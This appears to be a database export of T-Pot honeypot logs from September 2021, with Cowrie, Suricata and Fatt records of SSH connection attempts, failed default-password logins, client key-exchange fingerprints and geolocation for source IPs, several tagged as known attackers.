\N	\N	\N
25032	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:24.860229+03	2021-09-20 14:15:09.57247+03	{"_id": "dQblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/123456789] failed", "session": "38b70ed35099", "@version": "1", "password": "123456789", "username": "root", "timestamp": "2021-09-20T11:09:24.860229Z", "@timestamp": "2021-09-20T11:09:24.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25033	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:24.930021+03	2021-09-20 14:15:09.57347+03	{"_id": "dgblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "659f8c926cfe", "@version": "1", "timestamp": "2021-09-20T11:09:24.930021Z", "@timestamp": "2021-09-20T11:09:24.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25034	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:24.970406+03	2021-09-20 14:15:09.57547+03	{"_id": "dwblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [upload/123456] failed", "session": "eb27d9bd0c99", "@version": "1", "password": "123456", "username": "upload", "timestamp": "2021-09-20T11:09:24.970406Z", "@timestamp": "2021-09-20T11:09:24.970Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25035	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:25.126289+03	2021-09-20 14:15:09.57647+03	{"_id": "eAblAnwBvYTbRNuEeBer", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3820d634de12", "@version": "1", "timestamp": "2021-09-20T11:09:25.126289Z", "@timestamp": "2021-09-20T11:09:25.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25036	222.186.30.112	109.199.241.180	Suricata	2021-09-20 14:09:25.92113+03	2021-09-20 14:15:09.577471+03	{"_id": "eQblAnwBvYTbRNuEehfy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "222.186.30.112", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.186.30.112", "dest_ip": "192.168.20.116", "flow_id": 1376085709498023, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57342, "dest_port": 22, "timestamp": "2021-09-20T11:09:25.921130Z", "@timestamp": "2021-09-20T11:09:25.921Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25037	222.186.30.112	109.199.241.180	Fatt	2021-09-20 14:09:25.921275+03	2021-09-20 14:15:09.578471+03	{"_id": "fwblAnwBvYTbRNuEexf6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "222.186.30.112", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "222.186.30.112", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 57342, "dest_port": 22, "timestamp": "2021-09-20T11:09:25.921275", "@timestamp": "2021-09-20T11:09:25.921Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25038	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:26.16502+03	2021-09-20 14:15:09.580471+03	{"_id": "sgblAnwBvYTbRNuEfhfc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 725020207038937, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54590, "dest_port": 22, "timestamp": "2021-09-20T11:09:26.165020Z", "@timestamp": "2021-09-20T11:09:26.165Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25039	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:26.365747+03	2021-09-20 14:15:09.58147+03	{"_id": "tgblAnwBvYTbRNuEfxfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44696, "timestamp": "2021-09-20T11:09:26.365747", "@timestamp": "2021-09-20T11:09:26.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25040	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:26.731074+03	2021-09-20 14:15:09.58347+03	{"_id": "twblAnwBvYTbRNuEfxfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37632, "timestamp": "2021-09-20T11:09:26.731074", "@timestamp": "2021-09-20T11:09:26.731Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25041	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:28.398987+03	2021-09-20 14:15:09.58447+03	{"_id": "5QblAnwBvYTbRNuEhheu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1464948582942045, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35686, "dest_port": 22, "timestamp": "2021-09-20T11:09:28.398987Z", "@timestamp": "2021-09-20T11:09:28.398Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25042	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:28.401837+03	2021-09-20 14:15:09.58547+03	{"_id": "6AblAnwBvYTbRNuEhxe4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35686, "timestamp": "2021-09-20T11:09:28.401837", "@timestamp": "2021-09-20T11:09:28.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25043	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:09:28.788777+03	2021-09-20 14:15:09.586471+03	{"_id": "6QblAnwBvYTbRNuEhxe4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60438, "dest_port": 22, "timestamp": "2021-09-20T11:09:28.788777", "@timestamp": "2021-09-20T11:09:28.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
